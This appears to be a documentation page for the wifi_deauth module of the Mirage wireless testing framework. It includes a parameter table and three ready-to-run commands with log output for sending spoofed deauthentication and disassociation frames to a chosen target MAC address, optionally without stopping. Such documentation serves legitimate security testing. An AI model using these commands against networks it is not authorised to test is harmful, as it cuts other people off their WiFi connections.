wifi_deauth¶
Presentation¶
wifi_deauth performs a Deauthentication attack on a WiFi station. It allows to configure the source of the spoofed packets (SOURCE parameter), the target (TARGET parameter), along with fine configuration for the attack, and the number of times to send the packets (COUNT parameter, 0 means send continuously).
Compatible devices¶
Input parameters¶
Name |
Default value |
Possible values |
Description |
---|---|---|---|
INTERFACE |
wlan0 |
wlanX |
Interface to use |
SOURCE |
00:11:22:33:44:55 |
<MAC address> |
AP’s MAC address |
TARGET |
FF:FF:FF:FF:FF:FF |
<MAC address> |
Target’s MAC address |
COUNT |
0 |
<integer> |
Number of packets to send |
MODE |
both |
disassociation|deauthentication|both |
Types of packet to send during the attack |
VERBOSE |
yes |
<boolean> |
Verbose mode |
REASON |
7 |
<integer> |
Disassociation reason ID |
CHANNEL |
1 |
<integer> |
WiFi channel |
Output parameters¶
This module doesn’t provide any output parameters.
Usage¶
The following command performs a deauthentication and disassociation attack by transmitting 10 frames to FF:EE:DD:CC:BB:AA on the channel 11:
$ sudo mirage wifi_deauth SOURCE=AA:BB:CC:DD:EE:FF TARGET=FF:EE:DD:CC:BB:AA COUNT=10 VERBOSE=yes CHANNEL=11 INTERFACE=wlp2s0
[INFO] Module wifi_deauth loaded !
[INFO] New channel : 1
[INFO] Target provided: FF:EE:DD:CC:BB:AA
[INFO] New channel : 11
[INFO] Sent 0 deauthentication packets via wlp2s0
[INFO] Sent 10 deauthentication packets via wlp2s0
[INFO] Mirage process terminated !
If you want to transmit only deauthentication frame, set the MODE parameter to “deauthentication”:
$ sudo mirage wifi_deauth SOURCE=AA:BB:CC:DD:EE:FF TARGET=FF:EE:DD:CC:BB:AA COUNT=10 MODE=deauthentication VERBOSE=yes CHANNEL=11 INTERFACE=wlp2s0
[INFO] Module wifi_deauth loaded !
[INFO] New channel : 1
[INFO] Target provided: FF:EE:DD:CC:BB:AA
[INFO] New channel : 11
[INFO] Sent 0 deauthentication packets via wlp2s0
[INFO] Sent 10 deauthentication packets via wlp2s0
[INFO] Mirage process terminated !
Similarly, if you want to transmit only disassociation frames, set the MODE parameter to “disassociation”:
$ sudo mirage wifi_deauth SOURCE=AA:BB:CC:DD:EE:FF TARGET=FF:EE:DD:CC:BB:AA COUNT=10 MODE=disassociation VERBOSE=yes CHANNEL=11 INTERFACE=wlp2s0
[INFO] Module wifi_deauth loaded !
[INFO] New channel : 1
[INFO] Target provided: FF:EE:DD:CC:BB:AA
[INFO] New channel : 11
[INFO] Sent 0 deauthentication packets via wlp2s0
[INFO] Sent 10 deauthentication packets via wlp2s0
[INFO] Mirage process terminated !